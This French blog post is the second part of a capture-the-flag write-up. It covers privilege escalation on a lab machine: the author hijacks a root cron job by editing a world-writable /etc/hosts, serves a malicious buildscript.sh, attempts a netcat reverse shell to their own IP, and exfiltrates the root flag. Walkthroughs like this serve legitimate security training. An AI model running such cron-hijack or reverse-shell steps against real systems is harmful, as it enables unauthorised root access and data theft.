Ce post est la suite du WriteUp de ma première ‘box’ de niveau Moyen. Je vous invite à lire la première partie qui traite des exploits pour arriver à un accès SSH sur la machine cible, non root. On y parle d’énumération pour découvrir des dossiers web, du bypass d’authentification avec du cookie tampering et de cryptographie.
Récap des infos de base
Le pitch est le suivant:
Des étudiants ont créé un outil de gestion de mots de passe.
- IP: 10.10.254.153
- Machine d’attaque: une Kali (même pas last update…) en VPN
- 2 flags à trouver:
- Hack the machine and get the flag in user.txt (done)
- Escalate your privileges and get the flag in root.txt
PrivEsc (Privilege Escalation)
Recherche du fichier buildscript.sh
Je lance une recherche (très basique avec mes maigres moyens) de contenu de fichier pour “buildscript.sh”, récursivement depuis la racine:
james@overpass-prod:~$ grep -r "buildscript.sh" /*
Hop ! Trouvé dans un crontab !
Donc je sais maintenant que ce script est lancé à interval régulier par le crontab, donc en root. La faille se trouve ici, il faut que je trouve un moyen de mettre mon propre script à la place de l’original.
Exploitation
Il ne m’est pas possible de modifier le crontab, l’accès par le compte de Jamy n’est pas root. Par contre si j’arrive à faire pointer le site vers une autre machine que l’originale, on peut tricher.
Voyons les droits sur le dossier qui héberge les redirections DNS:
jamy@overpass-prod:~$ ls -al /etc/hosts
-rw-rw-rw- 1 root root 250 Jun 27 2020 /etc/hosts
Bingo, lecture/écriture pour tout le monde !
Un coup de nano (désolé les VImeurs, les raccourcis ne veulent pas rentrer dans ma tête) et on change pour pointer vers mon IP Kali.
Ensuite on créée l’arborescence exacte sur la machine d’attaque:
mkdir -p downloads/src
Puis on créée le script pour mener à un reverse shell:
echo "nc 10.11.81.95 8888" > downloads/src/buildscript.sh
Etant donné que le crontab va chercher le script sur un site, on doit recréer un “site”, pour ça on va utiliser un classique dans le genre: Python. Il faut en parrallèle sur notre machine d’attaque un listener NetCat, pour être présent quand la cible va lancer son crontab.
Je commence par le NetCat
$ nc -nlvp 8888
listening on [any] 8888 ...
Puis le Python
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Et on attend le St Graal…
nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.11.81.95] from (UNKNOWN) [10.10.254.153] 39974
Et raté….le listener fonctionne mais par contre, on a pas de shell. Impossible de rentrer une commande. Je vais réviser mon .sh.
Après maintes et maintes tentatives, impossible d’avoir un shell fonctionnel. Mon .sh comportait en effet un problème, il lui manquait l’indicateur en début de fichier pour dire au crontab qu’il s’agissait d’un script bash. Crontab n’est pas un interpréteur bash.
#!/bin/bash
MAIS, tout cela ne fonctionnant pas tout de même malgré beaucoup de tests, je décide de tenter le tout pour le tout: la chance.
La feinte ?
Je change mon script pour celui-ci, afin d’afficher à l’aveugle le flag et surtout pouvoir le lire depuis un emplacement accessible avec mon compte jamy:
#!/bin/bash
cat root.txt >> /tmp/output.txt
La gloire
Tada ! Fichier accessible par mon compte non root.
jamy@overpass-prod:/tmp$ cat output.txt
thm{7f336f8c35qezrzgqer18d54fdd64ea753bb}
ENFIN !
Et voilà ! Après tant de dur labeur ! Finalement parfois les choses les plus simples….sont les plus efficaces. Cependant je suis déçu d’avoir foiré mon premier reverse shell. J’ai tenté le bind shell mais pas mieux.